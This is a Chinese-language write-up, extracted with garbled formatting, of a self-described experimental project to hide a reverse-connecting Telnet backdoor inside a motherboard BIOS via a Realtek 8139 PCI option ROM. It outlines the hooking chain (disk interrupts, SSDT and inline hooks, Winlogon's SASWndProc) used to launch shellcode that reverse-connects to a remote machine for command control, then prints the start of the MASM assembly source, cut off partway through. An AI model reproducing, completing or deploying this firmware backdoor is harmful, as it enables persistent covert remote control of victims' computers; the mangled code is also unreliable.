BIOS中隐藏Telnet后门

1、BIOS 中隐藏 Telnet 后门项目简述 该项目仅为实验性项目 ,目的是学习国外技术。该项目 主要目的是想隐藏一个 Telnet 后门 在主板的 BIOS 内 ,并让其随着计算机系统及操作系统成功的 运行起来。运行后能反向 Telnet 连 接到指定的计算机接受 CMD 控制。 关于作者 姓名：成松林 QQ:179641795 Email: 本人对计算机的诸多技术都 很 有兴趣，常喜欢学习国外的开源项目，很佩服国外的计算机 技术及知识。本人学历：中专，专 业：计算机，年龄： 25 ，工作：中专学业完成后留校工作。 废话：本人家景很穷，所以大学都 未上成就工作，希望有志人士能教小弟赚钱。我文

2、才很差， 故文章中有语法及表达问题请大家 多多谅解。 项目涉及的相关知识及技术标题 1、实验环境配置问题。2、刷新 BIOS 技术问题。3、代码植入 BIOS 问题。4、源代码的相关问题：A、如何编写 BIOS模块如：PCI、ISA。B 、实模式关于 HOOK 磁盘中断的问题。C 、磁盘中断中选择再次 HOOK 的问题。D 、 NT 保护模式下设置物理地址映射。E 、 NT 保护模式下线性地址寻址问题。F、HOOK KeAddSystemServiceTable 。G、HOOK NtUserRegisterClassExWOW 。H、 HOOK Winlogon SASWndProc过程。I、

3、在SASWndProc 收到 WM_CREATE 消息建立线 程运行 Telnet Shell Code 。5、源代码的其他技术：A、IVThook InLineHook SSDT HookB、SEH PE PEB TIBC 、 Hash SharedUserData CheckSum6、 文章内容会在朋友的网站 (51cto) 上发布 ,文章还未整理好 ,相关的工具及相关的源代码会在以后整理发布.以下源代码采用编辑工具 MASMPlus, 直接拷贝到这里可能 有格式上的问题 ,做了简单的调整 ! 调试了几台我这儿的 计算机 ,以网卡 8139PCI 模块加入 BIOS 刷入芯片 ,在调试计

4、算机上安装 win2k/xp/2003 及操作系统运行后 ,以下源代 码都能正常的反向连接到我指定的计算机上.586p;编译工具 :ML /AT *.asm ML(masm) 版本 6.11,BIOS 中隐藏 Telnet 后门 .ModelTiny;作者 :成松林 ,QQ:179641795,Emil:. 实现源代 码. *，*ROM_IMAGE_SIZE equ4 ; 整个模块 大小单位 KB, 固定大小 4KB.CSL_KERNEL_DEST equ0FFDF0800h ;Shared UserData 数据结构线性地址 .CSL_USER_BACKDOOR equ07FFE0800h

5、;Shared UserData 数据结构线性地址 . *，*RealCode segment use16Code16Start: * ，* org00h ;# 注意 :置代码开始地址以便于确定定置.#,* 设置开始偏移 :000h*dw0AA55h ; # 注意 :ROM 头格式标识可以生气独立 ROM.#,* 标 识开始偏移 :000h*dbROM_IMAGE_SIZE*2;#注意:ROM 长度（单位:512B,块）最小8块.#,*长度开始偏移 :002h*jmpMyROMCodeStart;#注意:修改 ROM 模拟跳转指令到这里执行 #,*指令开始偏移 :003h*org06h#注意:

6、编译器根据偏移长度选择 JMP 命令#,*jMPrel16 长：003h*ReturnOldROM:;# 注意 : 把数据放在头部以便于确定位置 .#,* 标识开始偏移 :006h*db0e9h,0,0 ;# #注意 :执行完跳转到旧的 ROM 代码跳转处 #,* 指令 数据偏移 :007h*dbCHKSUM=,0# 注意 :填写我们修改后的 ROM 数据检验和 #,* 数 据偏移地址 :010h* *，* org18h ; 编译成支持 PCI 设备的模块 :PCI ROM 固定大小 4KB, 其他参 看PCI 2.2规范教程dd 34001ch,52494350h,813910ech,180

7、000h,200h,2010008h ,8000h,506e5024h,201h,6500h,0,20000h,6400h,0,0; 硬件 realtek PCI8139 网卡 * ，*MyROMCodeStart:pushf pushad push es push ds sti;打开中断 ,以便接收键盘输入movcx,0ffffh;等待,约为两二秒的按键消息 .callWaitPressScrollKey.if!CARRY?;若按下 Scroll Lock 键,不运行我们的程序 . * ，*xor ax,axmoves,axmoveax,es:19h*4moves:84h*4,eax;借用中

8、断向量 84H, 保存中断向量19H. mov;40:13,BIOS;注意 :要求分配的;bx *= 1024除以 16);es:di ->offsetbx,es:413h数据区保存常规的内存大小 ,单位 :KBs.and bl,NOT3物理内存地址 ,以页作为基地址 .subbx,4moves:413h,bxshlbx,(10-4)/ 16 (KBs-> 线性地址 =KBs*1024, 段mov es,bxxordi,di分配的实模式高端内存前半部分开始处push cs pop ds callGetCurrentAddrCode16End = offset Code32StartGetCurrentAddr:popsi;si->GetCurrentAddr 在内存的地址mov dx